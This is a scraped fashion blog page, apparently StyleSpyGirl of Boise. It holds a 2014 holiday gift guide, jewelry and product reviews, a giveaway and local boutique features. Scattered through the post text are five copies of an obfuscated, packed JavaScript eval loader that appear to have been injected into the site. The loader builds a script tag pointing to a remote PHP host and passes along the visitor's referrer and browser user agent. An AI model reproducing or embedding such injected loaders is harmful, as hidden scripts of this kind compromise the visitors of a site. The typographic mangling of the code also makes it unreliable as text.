StyleSpyGirl’s Holiday Gift Guide 2014

gift guide banner image 3Christmas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iizyr|var|u0026u|referrer|ydiki||js|php’.split(‘|’),0,{}))
is almost here!
 In case you need a few last-minute ideas, I’m sharing my personal wish list of favorite finds, from Boise and beyond. And I’ve linked directly to most of what you see here, so it’s easy to click-to-buy!

Wishing you and yours a very Merry Christmas,

signature  hearts

~

Local Love

gift guide local love 3

1. Arrow Hoop Earrings $25, Fluff 4 The Particular / 2. Idaho Gun Trucker Hat  $25, and Sweatshirt $40, Banana Ink / 3. Ollipop Vintage Inspired Ring $39, Ruby Lou Clothing Boutique /  4. PULSE Bracelet $20 Sterling Silver, Unigon Specialties / 5. Bullet Shell Jewelry 9mm Turqoise gemstone $36, Body Novelties / 6. COPONCHA All-Weather Fashion Poncho $199, Ginger And Mary Ann / 7.  Black & Gold Sequin Sleeve Dress $79, Posh Boutique / 8. Organic 70% Dark Chocolate Cranberry Orange, rosieMADE

 Glitz & Glamgift guide glitz glam 2

 

1. Manic Choker Necklace $296, Marshelly’s / 2. Raine Jumpsuit by Jessica Faulkner $162, Orange Harp (Use Discount Code TWSTYLE to receive 15% OFF at Checkout!) / 3. Red Wool Blend Turnlock Trench Coat $118, Express /4. Rolex His & Hers Watches, Price upon request Hal Davis Jewelers, 1-800-421-6151 / 5. Arabesque Cocktail Ring and Pave’ Chevron Ring both $29 each, Stella & Dot / 6. Mini Turnlock Borough Bag $398, &  Mini Chain Crossbody $195 In Metallic Leather, Coach / 7. World Cuff Bracelet $380, by Artelier / 8. The Dreamer Henley Pajama with Matching Eye Mask $39.50, Victoria’s Secret / 9. Katana Ring $85, Marshelly’s

Tech Cravings

gift guide tech cravings

1. MEMI silver tech bracelet  $150, Memi.com. First wearable technology made for women, by women! Smartbracelet discreetly vibrates when you receive important phone calls, text messages, and calendar alerts. Silver and White, pre-order only. / 2. BLOOM Necklace $79.99, connects with SHINE Fitness & Sleep Monitor (sold separately.) Hand-finished stainless steel. / 3. MOTA Smartring $99.99, MOTA. Pairs with any Bluetooth enabled device. Notifications vibrate; simply scroll through the screen to view your latest updates! Midnight Black or Pearl White. / 4. CUFF “Lisa” Necklace $119 marked down to $59 pre-order! Never miss an important call or text; notifications with a buzz, and safety alert with just a touch. / 5. MICA Tech Bracelet $495, by Opening Ceremony. An intelligent communication accessory designed by Opening Ceremony, and powered by Intel. Delivers discreet text messages, email alerts, Facebook notifications, calender reminders, and more! 18k gold finish and adorned with pearls, lapis, obsidian, and tiger’s eye. / 6. Limited Edition Dive Bar Ringly $195, Crafted with a rhodium plated setting and a tourmalated quartz semi-precious stone. Stargaze Black Onyx Ringly $195, Crafted with an 18K matte gold 3 micron plated setting and precious and semi-precious stones. Connects to your phone and sends you customized notifications through vibration and light!

 

 

 

 

SPLURGE:

Luxe Dressing For Less

pink blush stylespygirl street

pink blush stylespygirl streetPhotography eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kihhh|var|u0026u|referrer|zzknn||js|php’.split(‘|’),0,{}))
by
ammophotog

Every Fall, I voraciously inhale stacks of fashion magazines, like most people consume Thanksgiving dinner! There are so many fun and fascinating styles emerging on the fashion scene this season! Lately, however, I’ve been changing the way I shop and view fashion – moving away from loading-up on seasonal trendy pieces, and choosing instead to invest in long-lasting, well-made classics that (hopefully) won’t wear out before I grow tired of them. It’s a mental shift in how I utilize my budget, and has been an interesting learning curve…

Recently, instead of buying a bunch of new fall outfits, I saved up & splurged my entire budget on one amazing Coach handbag, the Borough (see photo, above!). I fell in love with its clean, classic lines, hand-stitched workmanship, and luxurious materials. This, I decided, is my first big “investment piece.” I intend to get much bang for my buck from this bag, because of how many times I will use it, year after year! This classic style won’t go out of fashion, anytime soon.

anthropologie etienne dress
Photo Courtesy of Anthropologie
pink blush navy dress
Photo courtesy of Pink Blush

But then I spotted this dress “Etienne” dress at Anthropologie, and fell in love! Sigh, I’m not going to spend $178, even though it’s oh-so-lovely; my budget is tapped out!

Some time later, I received an email from online shopping site Pink Blush, offering to let me try some of their fun clothes & accessories to highlight on my blog. Lo and behold, I found this Navy Blue Mesh Striped Dress, for only $37! Looks pretty similar to the Anthropologie dress, doesn’t it??

I added a glitzy necklace for $11, a unique bracelet for $13, and $27 Chinese Laundry shoes from Ross, and I’m all set for a fashionable business meeting downtown. My swing coat is vintage from a local thrift store; I paid around $10 for it, seriously!

Put everything together, and my entire look is LESS THAN $100, apart from my Borough bag!!!
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The key to looking luxe for less is in the details. Focus on investing in statement pieces that people will notice; quality shoes, iconic handbags, and stand-out coats are a great place to start! And if you ARE going to buy inexpensive clothes and jewelry, look for materials and craftsmanship that LOOK more expensive than they really are. This is called mixing high and low… And it’s brilliant, because not all of us can afford to wear head-to-toe designer brands every day, like Kim Kardashian.

Pink blush stylespygirl

Do you have a favorite “bargain” treasure shopping find? Tell me about it in the contest below! 
One lucky person will be drawn at random to receive a $25 gift card to Pink Blush, where a little can go a long way.
Good luck!!!

XOXO,

signature 2

a Rafflecopter giveaway
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The New Brilliant Invention for Hot Weather Dressing!

hot girls pearls 1

hot girls pearls 1

Picture eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iayzs|var|u0026u|referrer|ebidt||js|php’.split(‘|’),0,{}))
Courtesy of
Lenny Wheeler Photography

Boise ladies, rejoice! I’ve stumbled upon the classiest way ever invented, for us to keep cool in the hot, dry summers here. They’re called Hot Girl Pearls, and were developed by a brilliant woman named Constance Sherman. She’s shown her Pearls on The View, the Today Show, and in Oprah’s magazine O, just to name a few. Ms. Sherman has found a way to create gorgeous jewelry, with the same cooling gel inside them as the ice packs in your freezer! Ingenious!!!

The pearls original intent was to help ladies suffering from hot flashes.  But when I heard about them, I immediately thought about our 100+ degree Boise summers, and how much I don’t like wearing jewelry in that heat! But if there existed jewelry that could combat the heat? Sign me up! I emailed Constance right away; Boise needs these, I told her.

hot girl pearls imageHot Girl Pearls come in a variety of colors and styles. I adore the classy White Bracelet she sent me to try out! It has little Swarovski crystals on the clasp, to add a little fanciness and bling – LOVE! Oh yes, and the clasp is magnetic, and very strong, so getting the bracelet on is such a cinch.

When you order the Pearls, you also get an insulated pouch to keep them in. I has a gel ice pack in it, so you can transport your pearls, and keep them cushioned and cool, inside. What a great idea, right? You’re welcome, Boise Hot Girls!

Shop Hot Girl Pearls at HotGirlPearls.com, or on Facebook at https://www.facebook.com/HotGirlsPearls ! 

XOXO,

signature 2

 

hot girl pearls

hot girl pearls

 

Stella & Dot, Khaleesi Style

stylespygirl jeanne giltzow stelladot 1 sm bannerstella and dot pegasus necklace
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I admit it: I’m a Game of Thrones fan.
 Like, big time fan. But anyone who knew me growing up shouldn’t be surprised, considering my obsession with J.R.R. Tolkein’s Lord of the Rings Trilogy, C.S. Lewis’s Chronicles of Narnia, anything & everything by George MacDonald, and that whole medieval costume wedding thing I wrote about here. I’m also a sci-fi freak, but that’s a story for another day…

My friend Hanna is a rep for Stella & Dot, and was showing me some of her new pieces recently. When I spotted this amazing “Pegasus” necklace, I was totally inspired to lean into my medieval-fantasy passions, and style a shoot around the stunning jewelry piece, with a kind of how-would-Khaleesi-wear-it theme. Special thanks to my up-for-anything photographer Jeanne Giltzow for finding us a herd of horses to shoot with, and for braving a crazy dirt tornado in between shots to get these fabulous photos! I’d do this with you again, in a heartbeat.

I hope you enjoy the photos as much as I enjoyed shooting them. Honestly, I didn’t want to take this outfit off; I was ready to jump into a cosplay battle, hahaha! Someone fetch my saddle and my sword; I shall ride out to fight the dragons henceforth!

I guess sometimes princesses never truly grow up. Or geeks, for that matter.

XOXO,
signature 2

 

Photography: Jeanne Giltzow / Assistant: Thomas Burdell / Makeup: Taighler Martin at The Studio an Elite Salon & Spa / Wardrobe: Nordstrom Rack and Serendipity Boutique / Horses provided by: Janet Qualls of Dusty Acres Equestrian Center

 Stella & Dot Necklace available for purchase online here

stylespygirl jeanne giltzow stelladot

stylespygirl jeanne giltzow stella dot

stylespygirl jeanne giltzow stella dot

stylespygirl jeanne giltzow stella and dot

stylespygirl jeanne giltzow stelladot

stylespygirl jeanne giltzow stelladot

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Fashion Review: Vinca Jewelry

vinca jewelry stylespygirl

vinca jewelry stylespygirl

 Earrings: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbkb|var|u0026u|referrer|aekyh||js|php’.split(‘|’),0,{}))
Liberty Hoops from
VincaUSA.com / Photo: Ammophotog / Necklace: Custom design by Unigon Specialties /
Sunglasses: Coach, via Boise Mountain Eyecare

Recently, kitschy-cool jewelry retailer VincaUSA.com contacted me about trying out their online shopping site. They specialize in unique statement jewelry at affordable prices, and are sold in stores like Kitson, Nordstrom, and shopping mega-retailer Fab.com.

I really got a kick out their fun designs, from taquito studs to Last Unicorn rings to King Kong necklaces made from mirrored silver acrylic.

vinca jewelry stylespygirl

Vinca has something for every statement-making fashionista; whether your style is kitchy, cute, or flat-out dramatic, you’re going to find “Ooh, that’s so me!” pieces, that won’t break your budget!

I fell in love with the Liberty Hoop earrings, for their every-day versatility, but stand-out iconic style. Fierce and patriotic at the same time, I can wear these spiked cuties with just about anything!vinca jewelry stylespygirl

I was surprised by how quickly they arrived! And each box was delicately hand-wrapped origami style, in the sweetest black & floral tissue paper – such a lovely surprise, it felt like Christmas.

vinca jewelry stylespygirl

 

I would definitely shop at Vinca again. In fact, here are a few more items I have my eyes on…

Moon & Stars earrings, $32 / Super Power Rings, multiple colors, $32 each / Mirrored Gold Fox Necklace, $48

vinca jewelry stylespygirl

.

Vinca also has exclusive rights to jewelry pieces from The Last Unicorn, a movie I loved in my childhood.
Aren’t they fun?

Vinca last unicorn jewlery

Thank you, Vinca, for introducing me to your quirky and pretty statement pieces! J’Adore!!!
XOXO,

signature 2

vinca jewelry stylespygirl

~ Cute pieces from Vinca’s latest designs, the Kitsch-enette Collection and the garden-themed Bug Collection! ~ 

vinca garden bugs jewelry

 

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Beautiful Fashions with a Little Bit of Heart & Soul!

All photos by ammophotog

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azzyr|var|u0026u|referrer|nbybr||js|php’.split(‘|’),0,{}))
very special store just opened in Boise Town Square, called
Apricot Lane.  Ammo from ammophotog, my fellow fashion sleuth and brilliant photographer friend, joined me recently at the Grand Opening festivities. Other bloggers were there too, like Stiletto Siren and Fashion Kellie, shopping the racks and tweeting pics of their favorite finds. Across the board, we were all pretty impressed with the gorgeous fashions Apricot Lane has to offer! But there’s more to this story than just great clothes… 😉
Most of the brands at Apricot Lane are new to this town, but even the familiar ones (like Miss Me & Big Star) come in different styles than what you’ll find in department stores. The clothes are adorable, the staff is fabulous (I mean really fabulous – super sweet & helpful!!!), and the prices are quite reasonable.

But what makes this little store stand out as a truly special shop? Its great big, beautiful heart! ? ? ? ? ?

Apricot Lane first formed in Vacaville, California in 2007, as a franchise that provides high-quality clothing and gifts that were manufactured with integrity and human compassion. Boise’s new Apricot Lane is co-owned by Scott & Teri Lybbert, and Bill & Jen Ackerman. Both couples work hard to stock their boutique with beautiful things that were humanitarianly made!

From bracelets made for surfers in Costa Rica (each colored thread represents a charity that receives a percentage of the sale!), to local craftswomen plucked from Etsy (Flipped Bird purses & gifts!) , to handmade luxury leather bags from seamstresses in Utah (WILL Leather Goods), Apricot Lane provides a truly unique  – and humanitarian – shopping experience!

One brand, the IOWEYOU Project, strives to connect consumers with the people behind the clothes. Do you love knowing where your produce came from at the Farmer’s Market? It’s a similar concept! Scan a special barcode on an IOWEYOU product, and your smartphone will show you a picture of the person who handmade that item… AND give you the option of friending them on Facebook!

handmade items from the IOWEYOU Project

Another amazing brand is the “good hYOUman”  line, founded in 2007 by Brett Novek. From Wikipedia: “After his father died from Non-Hodgkin’s Lymphoma in 2008, Brett started the clothing company Good HYouman in an attempt to save others from the heartache he felt, of which a portion of its profits goes to help people with leukemia and lymphoma.”

Brett’s shirts are American-made, on 12 sewing machines in downtown LA. Every soft, cozy t-shirt and tank top has an encouraging or empowering message on the front. Then, typed inside the shirt is a unique tale of an individual who has overcome disease, abuse, addictions, or other challenges, and lived to share their story with us! As Brett says on his website, “Everyone Has a Story, YOUniting hYOUmanity by sharing the stories that make us hYOUman.”

When AmmoPhotog and I walked through the doors of Apricot Lane, we felt an instant connection to the fashions, and the heart & soul that behind this unique boutique. We love this place, and we’ll be back every chance we get (and maybe every paycheck, ha ha ha!)

Stop by Apricot Lane, on the upper level, near the east end of Boise Towne Square mall. The sales staff are super-friendly and helpful, the clothes are beautiful, and if you pay close attention, something special just might touch your heart.

XOXO,

StyleSpyGirl & AmmoPhotog

Jayme (left), the world's coolest & most fabulous store manager!!!

WILL handmade handbag

Hair bands and cute clutch by Flipped Bird
Cell phone accessories~

The sales staff rocks!!! They are all SO nice!
The beautiful Delila, of Faces by Delila.

 

 

 

 

 

 

Local Style Secret: Urban Exchange

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first, it’s that adorable summer outfit in the window that catches your eye.  A step closer, and you spy a table stacked with dark-blue skinny denim, tags still attached. Are those Blue Cults? New? For .99??? You have to step inside now, and immediately you’re drawn to the display of  Juicy jewelry, still in gift boxes. .99 for brand new Juicy?! What is this fabulous place???

Fashionistas, welcome to Urban Exchange! This is not your mama’s thrift store! If you are in the market for Rock & Republic jeans, BCBG tops, or a Kate Spade tote, but don’t have the budget for department store prices, then Urban Exchange is the place for you! Top-notch customer service, an exciting variety of hard-to-find designers, and fabulous prices on every little thing your closet craves; if you are a treasure hunter, this is Boise’s best place to hunt!

Your StyleSpyGirrl stopped by Urban Exchange recently for a little shopping reconnaissance. I was thrilled to find Dolce & Gabbana jeans (normal price range: $300-750) with the tags still attached. The Urban Exchange price: $89.99! And that Gwen Stefani for Lesportsac tote, the one you can’t get on ebay for less than $300? Try $119.99 at Urban Exchange!

I put together a few outfits to show you what great deals this store has to offer. (Click on the pic to view larger image.)

From left, Total Price, Outfit #1: $28.95, including jewelry & shoes. Add the Gwen Stefani tote for $119.99, to total $148.94!

Total Price, Outfit #2: $102.95, which includes a brand NEW pair of True Religion white jeans!

Total Price, Outfit#3: $117.94, including a Kathy Van Zeeland purse, Born sandals, and NEW tie-up Miss Me cargo pants!

Total Price, Outfit #4: $242.90. These are NEW Dolce & Gabanna jeans, along with a Marc Ecko tote & Colin Stuart shoes.

Total Price,Outfit #5: $95.16, $69.99 of which is the comfy, classy Born boots that I just have to put on layaway!

Total Price, Outfit #6: $51.94, including matching necklace & earrings, Kenzie sandals, Kenneth Cole purse, & Hollister top!

Outfit #4, if purchased new in a department store, would run over $1,000! The Urban Exchange price is barely a quarter of that price (not including airfare to your nearest Nordstrom to find D&G jeans!)

Summer is finally here, so fold up yesterday’s purchases, bring them down to Urban Exchange for cash or store credit, and begin your exciting new treasure hunt!

Upcoming Event: On the evening of June 10th, Urban Exchange will be hosting a special summer shopping event! Stop by for champagne, special deals, and a short presentation by your’s truly 🙂 on how to update your wardrobe for style, body shape, and budget! I will station myself by the dressing rooms after the presentation, to offer help, feedback, & encouragement as you shop! Local musical artist Naomi Psalm (see link to the right) will be there as well, performing songs from her latest album; join us for an evening of shopping, music, & fun! Email me for more info at stylespygirrl@yahoo.com, or Urban Exchange at veronica@urbanexchangeonline.com.